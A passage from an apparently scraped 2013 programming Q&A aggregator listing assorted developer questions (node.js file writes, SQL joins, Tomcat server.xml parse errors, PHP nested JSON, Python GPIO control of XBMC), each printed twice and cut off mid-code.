jQuery into an iFrame. Here's the code in jsBin...
http://jsbin.com/iFoZAdU/1/edit
What I want to achieve is:
http://jsbin.com/AbaPIXI/1/edit
I have the following code which basically tries to execute HTML, CSS and
jQuery into an iFrame. Here's the code in jsBin...
http://jsbin.com/iFoZAdU/1/edit
What I want to achieve is:
http://jsbin.com/AbaPIXI/1/edit
node.js fs.writeFile Not Completely Overwriting File
node.js fs.writeFile Not Completely Overwriting File
I have a file that is of length X and it is being overwritten by a string
that is of length X-Y. Problem is, that the file is still retaining the
information past X-Y so that it is as long as the first longer file. So
here is my test output that is giving me fits:
File started as:
{
"sOption1": "String",
"nOption2": 23.5,
"sOption3": "String",
"bOption3B": true,
"anOption4": [
5,
6,
7
],
"sNewString": "FruitSalad",
"bNewBoolean": false,
"iNewNumber": 14.2,
"anNewArray": [
1,
2,
3,
4,
5,
6,
7,
8,
9,
10
],
"oNewObject": {
"bToBeOrNotToBe": true,
"sFinishQuote": "That is the question"
}
}
Changed the data and file Ended as:
{
"sOption1": "String",
"nOption2": 23.5,
"sOption3": "String",
"bOption3B": true,
"anOption4": [
5,
6,
7
],
"sNewString": "YummyYummy",
"bNewBoolean": true,
"iNewNumber": 2.14,
"anNewArray": [
10,
9
],
"oNewObject": {
"bToBeOrNotToBe": false,
"sNewQuote": "To die, to sleep, no more"
}
} "bToBeOrNotToBe": true,
"sFinishQuote": "That is the question"
}
}}
See the garbage on the end of the object? It's left over from the previous
file, even though I wrote it out with the following code:
//stringify the object, and make it pretty with options null, 4
sNewFile = JSON.stringify(this.oPersistentUserOptions, null, 4);
//write to the file, parameter is immediately in object memory though
fs.writeFile(PERSISTENT_USER_SELECTED_OPTIONS_FILENAME, sNewFile,
function(err){console.log(err);});
I have checked to make sure that the sNewFile variable is the correct
length, and it is. I also have paused as long as 6 seconds between
subsequent writes out to disk, so I can't see how this could be a timing
issue.
If I use writeFileSync the problem goes away, but I really don't have the
option to do synchronous writes for this application as I'm timing
critical and don't want to have to slow down to write to the disk.
I'm on node.js 0.8.21, but it doesn't look like the interface has changed
any for fs between that and the up to date version.
Anyone else hit anything like this? This is giving me fits. . .
I have a file that is of length X and it is being overwritten by a string
that is of length X-Y. Problem is, that the file is still retaining the
information past X-Y so that it is as long as the first longer file. So
here is my test output that is giving me fits:
File started as:
{
"sOption1": "String",
"nOption2": 23.5,
"sOption3": "String",
"bOption3B": true,
"anOption4": [
5,
6,
7
],
"sNewString": "FruitSalad",
"bNewBoolean": false,
"iNewNumber": 14.2,
"anNewArray": [
1,
2,
3,
4,
5,
6,
7,
8,
9,
10
],
"oNewObject": {
"bToBeOrNotToBe": true,
"sFinishQuote": "That is the question"
}
}
Changed the data and file Ended as:
{
"sOption1": "String",
"nOption2": 23.5,
"sOption3": "String",
"bOption3B": true,
"anOption4": [
5,
6,
7
],
"sNewString": "YummyYummy",
"bNewBoolean": true,
"iNewNumber": 2.14,
"anNewArray": [
10,
9
],
"oNewObject": {
"bToBeOrNotToBe": false,
"sNewQuote": "To die, to sleep, no more"
}
} "bToBeOrNotToBe": true,
"sFinishQuote": "That is the question"
}
}}
See the garbage on the end of the object? It's left over from the previous
file, even though I wrote it out with the following code:
//stringify the object, and make it pretty with options null, 4
sNewFile = JSON.stringify(this.oPersistentUserOptions, null, 4);
//write to the file, parameter is immediately in object memory though
fs.writeFile(PERSISTENT_USER_SELECTED_OPTIONS_FILENAME, sNewFile,
function(err){console.log(err);});
I have checked to make sure that the sNewFile variable is the correct
length, and it is. I also have paused as long as 6 seconds between
subsequent writes out to disk, so I can't see how this could be a timing
issue.
If I use writeFileSync the problem goes away, but I really don't have the
option to do synchronous writes for this application as I'm timing
critical and don't want to have to slow down to write to the disk.
I'm on node.js 0.8.21, but it doesn't look like the interface has changed
any for fs between that and the up to date version.
Anyone else hit anything like this? This is giving me fits. . .
How to join multiple select statements in SQL and display in different colums
How to join multiple select statements in SQL and display in different colums
I wrote a query that joins two tables that shows the total no. of
appointments and leads using the union keyword and I would like the result
of this query to be displayed in two different columns, I am having a
tough description
SELECT COUNT(FilteredAppointment.createdbyname) AS Appointment
FROM FilteredBusinessUnit
INNER JOIN FilteredSystemUser
ON FilteredBusinessUnit.businessunitid =
FilteredSystemUser.businessunitid
INNER JOIN FilteredAppointment
ON FilteredSystemUser.systemuserid = FilteredAppointment.createdby
UNION
SELECT COUNT(FilteredLead.fullname) AS Lead
FROM FilteredBusinessUnit
INNER JOIN FilteredSystemUser
ON FilteredBusinessUnit.businessunitid =
FilteredSystemUser.businessunitid
INNER JOIN FilteredLead
ON FilteredSystemUser.systemuserid = FilteredLead.createdby
WHERE (FilteredBusinessUnit.name IN (@Branch))
My desired result is:
CRITERIA | Appointment | Leads
Total | 200 | 123
I wrote a query that joins two tables that shows the total no. of
appointments and leads using the union keyword and I would like the result
of this query to be displayed in two different columns, I am having a
tough description
SELECT COUNT(FilteredAppointment.createdbyname) AS Appointment
FROM FilteredBusinessUnit
INNER JOIN FilteredSystemUser
ON FilteredBusinessUnit.businessunitid =
FilteredSystemUser.businessunitid
INNER JOIN FilteredAppointment
ON FilteredSystemUser.systemuserid = FilteredAppointment.createdby
UNION
SELECT COUNT(FilteredLead.fullname) AS Lead
FROM FilteredBusinessUnit
INNER JOIN FilteredSystemUser
ON FilteredBusinessUnit.businessunitid =
FilteredSystemUser.businessunitid
INNER JOIN FilteredLead
ON FilteredSystemUser.systemuserid = FilteredLead.createdby
WHERE (FilteredBusinessUnit.name IN (@Branch))
My desired result is:
CRITERIA | Appointment | Leads
Total | 200 | 123
how to use Oracle decode Select statment
how to use Oracle decode Select statment
SELECT DECODE(SEND_BEN_INFO1_7495_1,'YOUR UTR SBINH13246802674
RTN',(REPLACE(REPLACE('YOUR UTR SBINH13246802674 RTN','YOUR
UTR',''),'RTN','')),'Null')"UTR" FROM NT_N06 where value_dt='20121214' and
MSG_SUMMARY_ID=181521. This is not working? How can use select statement
with in decode function.
SELECT DECODE(SEND_BEN_INFO1_7495_1,'YOUR UTR SBINH13246802674
RTN',(REPLACE(REPLACE('YOUR UTR SBINH13246802674 RTN','YOUR
UTR',''),'RTN','')),'Null')"UTR" FROM NT_N06 where value_dt='20121214' and
MSG_SUMMARY_ID=181521. This is not working? How can use select statement
with in decode function.
Tuesday, 10 September 2013
Data Migration from Dynamo Db to AWS RDS Mysql
Data Migration from Dynamo Db to AWS RDS Mysql
I am using AWS dynamo db to store data. Now i want to export it into mysql.
i just want a way so that, so that i can export data from dynamo db to
mysql on regular basis. Mysql will be work as backup db.
what will be the best approached!
I am using AWS dynamo db to store data. Now i want to export it into mysql.
i just want a way so that, so that i can export data from dynamo db to
mysql on regular basis. Mysql will be work as backup db.
what will be the best approached!
iOS UIViewController=?iso-8859-1?Q?=2Cwhy_=22self=22_become_to_=22wild_pointer=22_in_viewDidU?==?iso-8859-1?Q?viewDidUnload=81H?=
iOS UIViewController,why "self" become to "wild pointer" in viewDidUnloadH
my code snippet:
- (void)viewDidUnload{
[super viewDidUnload];
self.statusView = nil;
self.tableView = nil;
self.noDataView = nil;
}
In a rare situation. My app crashed in line "self.noDataView = nil;". When
i debug by "po self",it seemed that it's pointing something other than
current controller. What is possible reason?
PS:self.tableView's delegate and dataSource is set to "self" in "init"
method.Is any relation with this?
my code snippet:
- (void)viewDidUnload{
[super viewDidUnload];
self.statusView = nil;
self.tableView = nil;
self.noDataView = nil;
}
In a rare situation. My app crashed in line "self.noDataView = nil;". When
i debug by "po self",it seemed that it's pointing something other than
current controller. What is possible reason?
PS:self.tableView's delegate and dataSource is set to "self" in "init"
method.Is any relation with this?
Refresh app cache on expiry in c#
Refresh app cache on expiry in c#
I have a C# WebAPI that has a query which collates a lot of data.
Subsequently, I am using HttpRuntime cache to cache the result object for
10 mins. The problem is, when the cache expires, that person gets a 12
second load. This application utilises 3 delivery servers and we don't
have the option of distributed cache.
Using .NET, we can use the cache expired event, but how best to use that
without impacting the calling request?
One thought was to have a never expires cache, so that if the main cache
is expired, fallback to that, then have a windows service or similar which
polls every 5 mins to refresh both caches.
Ideas?
I have a C# WebAPI that has a query which collates a lot of data.
Subsequently, I am using HttpRuntime cache to cache the result object for
10 mins. The problem is, when the cache expires, that person gets a 12
second load. This application utilises 3 delivery servers and we don't
have the option of distributed cache.
Using .NET, we can use the cache expired event, but how best to use that
without impacting the calling request?
One thought was to have a never expires cache, so that if the main cache
is expired, fallback to that, then have a windows service or similar which
polls every 5 mins to refresh both caches.
Ideas?
Can't get modal to disappear after successfully submitting form.
Can't get modal to disappear after successfully submitting form.
I'm trying to debug this coffeescript/js problem, but can't figure out
where my problem is.
I have the following CoffeeScript to create a modal that contains a form.
I can submit the form, which creates the record, but doesn't dismiss.
$(document).ready ->
$("#create_workout").click (e) ->
url = $(@).attr("href")
dialog_form = $("<div id=\"dialog-form\" title=\"Add New
Workout\">Loading form...</div>").dialog(
modal: true
autoOpen: false
closeText: "x"
closeOnEscape: true
hide: "fade"
show: "fade"
width: 550
dialogClass: "admin_forms"
open: ->
$(@).load url + " #content"
close: ->
$("#dialog-form").remove()
)
dialog_form.dialog "open"
e.preventDefault()
I also have a file in the workouts folder called create.js.erb that logs
'Error' if there is an error, and logs 'Created' and appends the new
workout to a table if the record is created. The code looks like this:
<% if @workout.errors.any? %>
console.log('Error');
$('#dialog-form').html('<%= escape_javascript(render('form')) %>');
<% else %>
console.log('Created');
$('#dialog-form').dialog('close');
$('#dialog-form').remove();
$('table').append('<%= escape_javascript(render(@workout)) %>');
$('table').effect('highlight');
<% end %>
When I create a record with the modal form I can see the following in the
console:
XHR finished loading: "http://localhost:3000/workouts/63".
jquery.js?body=1:8707
send jquery.js?body=1:8707
jQuery.extend.ajax jquery.js?body=1:8137
$.rails.rails.ajax jquery_ujs.js?body=1:74
$.rails.rails.handleRemote jquery_ujs.js?body=1:150
(anonymous function) jquery_ujs.js?body=1:357
jQuery.event.dispatch jquery.js?body=1:5096
elemData.handle
If I try to run the above in the console I get the following syntax error:
SyntaxError: Unexpected identifier
get stack: function () { [native code] }
message: "Unexpected identifier"
set stack: function () { [native code] }
__proto__: Error
I'm new to javascript, and haven't been able to figure out how this is
helpful at all. any ideas?
Thanks!
I'm trying to debug this coffeescript/js problem, but can't figure out
where my problem is.
I have the following CoffeeScript to create a modal that contains a form.
I can submit the form, which creates the record, but doesn't dismiss.
$(document).ready ->
$("#create_workout").click (e) ->
url = $(@).attr("href")
dialog_form = $("<div id=\"dialog-form\" title=\"Add New
Workout\">Loading form...</div>").dialog(
modal: true
autoOpen: false
closeText: "x"
closeOnEscape: true
hide: "fade"
show: "fade"
width: 550
dialogClass: "admin_forms"
open: ->
$(@).load url + " #content"
close: ->
$("#dialog-form").remove()
)
dialog_form.dialog "open"
e.preventDefault()
I also have a file in the workouts folder called create.js.erb that logs
'Error' if there is an error, and logs 'Created' and appends the new
workout to a table if the record is created. The code looks like this:
<% if @workout.errors.any? %>
console.log('Error');
$('#dialog-form').html('<%= escape_javascript(render('form')) %>');
<% else %>
console.log('Created');
$('#dialog-form').dialog('close');
$('#dialog-form').remove();
$('table').append('<%= escape_javascript(render(@workout)) %>');
$('table').effect('highlight');
<% end %>
When I create a record with the modal form I can see the following in the
console:
XHR finished loading: "http://localhost:3000/workouts/63".
jquery.js?body=1:8707
send jquery.js?body=1:8707
jQuery.extend.ajax jquery.js?body=1:8137
$.rails.rails.ajax jquery_ujs.js?body=1:74
$.rails.rails.handleRemote jquery_ujs.js?body=1:150
(anonymous function) jquery_ujs.js?body=1:357
jQuery.event.dispatch jquery.js?body=1:5096
elemData.handle
If I try to run the above in the console I get the following syntax error:
SyntaxError: Unexpected identifier
get stack: function () { [native code] }
message: "Unexpected identifier"
set stack: function () { [native code] }
__proto__: Error
I'm new to javascript, and haven't been able to figure out how this is
helpful at all. any ideas?
Thanks!
Google oauth how to use the refresh token
Google oauth how to use the refresh token
I am able to exchange my one time use token from my android device for an
accessToken and a refreshToken. i am trying to figure out how to use the
refreshToken. I found this
https://developers.google.com/accounts/docs/OAuth2WebServer#refresh which
works over an https request but i was wondering if there was some where in
the java sdk to handle refreshing. I have looked but unable to find one.
I am able to exchange my one time use token from my android device for an
accessToken and a refreshToken. i am trying to figure out how to use the
refreshToken. I found this
https://developers.google.com/accounts/docs/OAuth2WebServer#refresh which
works over an https request but i was wondering if there was some where in
the java sdk to handle refreshing. I have looked but unable to find one.
How to validate if object is of type XML
How to validate if object is of type XML
How could I validate if object is a node of a xml object, I mean how could
I check if list[[1]] is of type xml node.
txt = "<data>
<elements>
<elem id=\"a\" name=\"abc\"/>
<elem id=\"a\" name=\"abc\"/>
</elements>
</data>"
tree <- xmlTreeParse(txt, useInternalNodes = TRUE)
list <- xpathSApply(tree, "//elements")
How could I validate if object is a node of a xml object, I mean how could
I check if list[[1]] is of type xml node.
txt = "<data>
<elements>
<elem id=\"a\" name=\"abc\"/>
<elem id=\"a\" name=\"abc\"/>
</elements>
</data>"
tree <- xmlTreeParse(txt, useInternalNodes = TRUE)
list <- xpathSApply(tree, "//elements")
How to move between two activity with an action?
How to move between two activity with an action?
I want to move of one activity to another activity with an action. I mean
when to show second activity, first activity slow move and of right to
left move and exit of page and second activity, shows of right to left
shows in the page. I googled but i can't find this, maybe for this i don't
know what should i search!
Sorry for my poor english and thanks for advises.
Cheers
I want to move of one activity to another activity with an action. I mean
when to show second activity, first activity slow move and of right to
left move and exit of page and second activity, shows of right to left
shows in the page. I googled but i can't find this, maybe for this i don't
know what should i search!
Sorry for my poor english and thanks for advises.
Cheers
Monday, 9 September 2013
tomcat has been stopped
tomcat has been stopped
Hi my tomcat is not working , It says an error saying
SEVERE: Parse Fatal Error at line 122 column 9: The element type "Engine"
must be terminated by the matching end-tag "".
org.xml.sax.SAXParseException; systemId: file:/D:/tomcat/conf/server.xml;
lineNumber: 122; columnNumber: 9; The element type "Engine" must be
terminated by the matching end-tag "
".
here is my server.xml
<?xml version='1.0' encoding='utf-8'?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- Note: A "Server" is not itself a "Container", so you may not
define subcomponents such as "Valves" at this level.
Documentation at /docs/config/server.html
-->
<Server port="8005" shutdown="SHUTDOWN">
<!-- Security listener. Documentation at /docs/config/listeners.html
<Listener
className="org.apache.catalina.security.SecurityListener" />
-->
<!--APR library loader. Documentation at /docs/apr.html -->
<Listener className="org.apache.catalina.core.AprLifecycleListener"
SSLEngine="on" />
<!--Initialize Jasper prior to webapps are loaded. Documentation at
/docs/jasper-
howto.html -->
<Listener className="org.apache.catalina.core.JasperListener" />
<!-- Prevent memory leaks due to use of particular java/javax APIs-->
<Listener
className="org.apache.catalina.core.JreMemoryLeakPreventionListener"
/>
<Listener
className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"
/>
<Listener
className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"
/>
<!-- Global JNDI resources
Documentation at /docs/jndi-resources-howto.html
-->
<GlobalNamingResources>
<!-- Editable user database that can also be used by
UserDatabaseRealm to authenticate users
-->
<Resource name="UserDatabase" auth="Container"
type="org.apache.catalina.UserDatabase"
description="User database that can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" />
</GlobalNamingResources>
<!-- A "Service" is a collection of one or more "Connectors"
that share
a single "Container" Note: A "Service" is not itself a
"Container",
so you may not define subcomponents such as "Valves" at this
level.
Documentation at /docs/config/service.html
-->
<Service name="Catalina">
<!--The connectors can use a shared executor, you can define
one or more
named thread pools-->
<!--
<Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
maxThreads="150" minSpareThreads="4"/>
-->
<!-- A "Connector" represents an endpoint by which requests
are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html (blocking &
non-blocking)
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL HTTP/1.1 Connector on port 8080
-->
<Connector port="9999" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<!--
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
-->
<!-- Define a SSL HTTP/1.1 Connector on port 8443
This connector uses the JSSE configuration, when using APR, the
connector should be using the OpenSSL style configuration
described in the APR documentation -->
<!--
<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false" sslProtocol="TLS" />
-->
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
<!-- An Engine represents the entry point (within Catalina)
that processes
every request. The Engine implementation for Tomcat stand alone
analyzes the HTTP headers included with the request, and
passes them
on to the appropriate Host (virtual host).
Documentation at /docs/config/engine.html -->
<!-- You should set jvmRoute to support load-balancing via AJP
ie :
<Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">
-->
<Engine name="Catalina" defaultHost="localhost">
<!--For clustering, please take a look at documentation at:
/docs/cluster-howto.html (simple how to)
/docs/config/cluster.html (reference documentation) -->
<!--
<Cluster
className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>
-->
<!-- Use the LockOutRealm to prevent attempts to guess user
passwords
via a brute-force attack -->
<Realm className="org.apache.catalina.realm.JDBCRealm"
driverName="com.mysql.jdbc.Driver"
connectionURL="jdbc:mysql://localhost:8888/AndroidIM"
connectionName="gokul"
connectionPassword="abcd"
userTable="TABLE_NAME_MESSAGES" userNameCol="username"
userCredCol="password"
userRoleTable="user_roles" roleNameCol="role" />
</Realm>
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<!-- SingleSignOn valve, share authentication between web
applications
Documentation at: /docs/config/valve.html -->
<!--
<Valve
className="org.apache.catalina.authenticator.SingleSignOn" />
-->
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using
pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve"
directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
</Service>
</Server>
can anybody help me to clear the error,...the tag they have specified is
there at the end..but it is not working !
Hi my tomcat is not working , It says an error saying
SEVERE: Parse Fatal Error at line 122 column 9: The element type "Engine"
must be terminated by the matching end-tag "".
org.xml.sax.SAXParseException; systemId: file:/D:/tomcat/conf/server.xml;
lineNumber: 122; columnNumber: 9; The element type "Engine" must be
terminated by the matching end-tag "
".
here is my server.xml
<?xml version='1.0' encoding='utf-8'?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- Note: A "Server" is not itself a "Container", so you may not
define subcomponents such as "Valves" at this level.
Documentation at /docs/config/server.html
-->
<Server port="8005" shutdown="SHUTDOWN">
<!-- Security listener. Documentation at /docs/config/listeners.html
<Listener
className="org.apache.catalina.security.SecurityListener" />
-->
<!--APR library loader. Documentation at /docs/apr.html -->
<Listener className="org.apache.catalina.core.AprLifecycleListener"
SSLEngine="on" />
<!--Initialize Jasper prior to webapps are loaded. Documentation at
/docs/jasper-
howto.html -->
<Listener className="org.apache.catalina.core.JasperListener" />
<!-- Prevent memory leaks due to use of particular java/javax APIs-->
<Listener
className="org.apache.catalina.core.JreMemoryLeakPreventionListener"
/>
<Listener
className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"
/>
<Listener
className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"
/>
<!-- Global JNDI resources
Documentation at /docs/jndi-resources-howto.html
-->
<GlobalNamingResources>
<!-- Editable user database that can also be used by
UserDatabaseRealm to authenticate users
-->
<Resource name="UserDatabase" auth="Container"
type="org.apache.catalina.UserDatabase"
description="User database that can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" />
</GlobalNamingResources>
<!-- A "Service" is a collection of one or more "Connectors"
that share
a single "Container" Note: A "Service" is not itself a
"Container",
so you may not define subcomponents such as "Valves" at this
level.
Documentation at /docs/config/service.html
-->
<Service name="Catalina">
<!--The connectors can use a shared executor, you can define
one or more
named thread pools-->
<!--
<Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
maxThreads="150" minSpareThreads="4"/>
-->
<!-- A "Connector" represents an endpoint by which requests
are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html (blocking &
non-blocking)
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL HTTP/1.1 Connector on port 8080
-->
<Connector port="9999" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<!--
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
-->
<!-- Define a SSL HTTP/1.1 Connector on port 8443
This connector uses the JSSE configuration, when using APR, the
connector should be using the OpenSSL style configuration
described in the APR documentation -->
<!--
<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false" sslProtocol="TLS" />
-->
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
<!-- An Engine represents the entry point (within Catalina)
that processes
every request. The Engine implementation for Tomcat stand alone
analyzes the HTTP headers included with the request, and
passes them
on to the appropriate Host (virtual host).
Documentation at /docs/config/engine.html -->
<!-- You should set jvmRoute to support load-balancing via AJP
ie :
<Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">
-->
<Engine name="Catalina" defaultHost="localhost">
<!--For clustering, please take a look at documentation at:
/docs/cluster-howto.html (simple how to)
/docs/config/cluster.html (reference documentation) -->
<!--
<Cluster
className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>
-->
<!-- Use the LockOutRealm to prevent attempts to guess user
passwords
via a brute-force attack -->
<Realm className="org.apache.catalina.realm.JDBCRealm"
driverName="com.mysql.jdbc.Driver"
connectionURL="jdbc:mysql://localhost:8888/AndroidIM"
connectionName="gokul"
connectionPassword="abcd"
userTable="TABLE_NAME_MESSAGES" userNameCol="username"
userCredCol="password"
userRoleTable="user_roles" roleNameCol="role" />
</Realm>
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<!-- SingleSignOn valve, share authentication between web
applications
Documentation at: /docs/config/valve.html -->
<!--
<Valve
className="org.apache.catalina.authenticator.SingleSignOn" />
-->
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using
pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve"
directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
</Service>
</Server>
can anybody help me to clear the error,...the tag they have specified is
there at the end..but it is not working !
Two MySQL queries in JSON objects
Two MySQL queries in JSON objects
I am trying to build the following JSON through MySQL and PHP.
Each Chapter has an id, a chapter title, and a list of topics.
Each topic has an id and a topic area
{
"Chapters": [
{
"id": "1",
"chapterTitle": "Introduction",
"Topics": [
{
"id": "1",
"topicArea": "C++"
},
{
"id": "2",
"topicArea": "Java"
}
]
},
{
"id": "2",
"chapterTitle": "Getting Started",
"Topics": [
{
"id": "1",
"topicArea": "Start Here"
}
]
}
]
}
However, I am not able to generate this output if I try the following PHP
code (1)
//Get all chapters
$result = mysql_query("SELECT * FROM chapters");
while ($row = mysql_fetch_array($result))
{
$json[] = $row;
$json2 = array();
$chapterid = $row["id"];
//Fetch all topics within the first book chapter
$fetch = mysql_query("SELECT id,topicArea FROM topics where
chapterid=$chapterid");
while ($row2 = mysql_fetch_assoc($fetch))
{
$json2[] = array(
'id' => $row2["id"],
'topicArea' => $row2["topicArea"]
);
}
$json['Topics'] = $json2; //I think the problem is here!
}
echo json_encode($json);
I am trying to build the following JSON through MySQL and PHP.
Each Chapter has an id, a chapter title, and a list of topics.
Each topic has an id and a topic area
{
"Chapters": [
{
"id": "1",
"chapterTitle": "Introduction",
"Topics": [
{
"id": "1",
"topicArea": "C++"
},
{
"id": "2",
"topicArea": "Java"
}
]
},
{
"id": "2",
"chapterTitle": "Getting Started",
"Topics": [
{
"id": "1",
"topicArea": "Start Here"
}
]
}
]
}
However, I am not able to generate this output if I try the following PHP
code (1)
//Get all chapters
$result = mysql_query("SELECT * FROM chapters");
while ($row = mysql_fetch_array($result))
{
$json[] = $row;
$json2 = array();
$chapterid = $row["id"];
//Fetch all topics within the first book chapter
$fetch = mysql_query("SELECT id,topicArea FROM topics where
chapterid=$chapterid");
while ($row2 = mysql_fetch_assoc($fetch))
{
$json2[] = array(
'id' => $row2["id"],
'topicArea' => $row2["topicArea"]
);
}
$json['Topics'] = $json2; //I think the problem is here!
}
echo json_encode($json);
Using GPIO buttons to control Raspbmc
Using GPIO buttons to control Raspbmc
I am trying to write code for a car xbmc project. I made my own button
keypad with pull-down resistors and plugged into the GPIO ports. Installed
python and the GPIO addon. My goal is to catch button presses, and if the
button is held for 1.5 secs, it will execute a different command to xbmc
(for example, the right key would skip to the next track if held). I'm not
too familiar with Python, so it's been a pretty long process getting to
where I am. I chose to use the GPIO.add_event_detect() function since it
has a built-in debouncer, but I think it's new because I can't find many
examples of it being used. This is what is throwing errors:
Traceback (most recent call last):
File "buttons.py", line 15, in <module>
GPIO.add_event_detect(buttons[index], GPIO.RISING, bouncetime=200)
RuntimeError: Edge detection already enabled for this GPIO channel
#!/usr/bin/env python
import Rpi.GPIO as GPIO
import time, os, httplib, json
GPIO.setmode(GPIO.BCM)
buttons = [4, 17, 18, 22, 23, 24, 27]
numbuttons = len(buttons)
index = 0
for index in numbuttons:
GPIO.setup(index, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
while True:
index = 0
for index in numbuttons:
GPIO.add_event_detect(buttons[index], GPIO.RISING, bouncetime=200)
if GPIO.event_detected(buttons[index]):
time_pressed = time.time()
GPIO.add_event_detect(buttons[index], GPIO.FALLING,
bouncetime=200)
if GPIO.event_detected(buttons[index]):
time_released = time.time()
if (time_released - time_pressed) >= 1.5:
button_held(index)
else:
button_pressed(index)
time.sleep(0.01)
def button_pressed(index):
url = "/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22"
url2 = ",%22id%22:1}"
player = "Player.GetActivePlayers%22"
playcode = "Player.PlayPause%22,%22params%22:{%22playerid%22:"
guidecode = "Player.GetProperties%22,%22params%22:{%22playerid%22:"
upcode = "Input.Up%22,%22params%22:{%22playerid%22:"
downcode = "Input.Down%22,%22params%22:{%22playerid%22:"
leftcode = "Input.Left%22,%22params%22:{%22playerid%22:"
rightcode = "Input.Right%22,%22params%22:{%22playerid%22:"
backcode = "Input.Back%22,%22params%22:{%22playerid%22:"
conn = httplib.HTTPConnection("127.0.0.1:8080")
if index == 0:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + guidecode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc guide")
elif index == 1:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + leftcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc left")
elif index == 2:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + playcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc play/pause")
elif index == 3:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + upcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc up")
elif index == 4:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
playerid = json.dumps(j["result"][0]["playerid"])
conn.request("GET", url + backcode + playerid + "}" + url2)
conn.close()
conn.close()
print("execute xbmc backspace")
elif index == 5:
conn.request("GET", url + player + url2)
r = conn.getresponse()
j = json.loads(r.read())
playeron = j["result"]
if json.dumps(playeron) == "[]":
conn.request("GET", url + "input.select%22" + url2)
conn.close()
else:
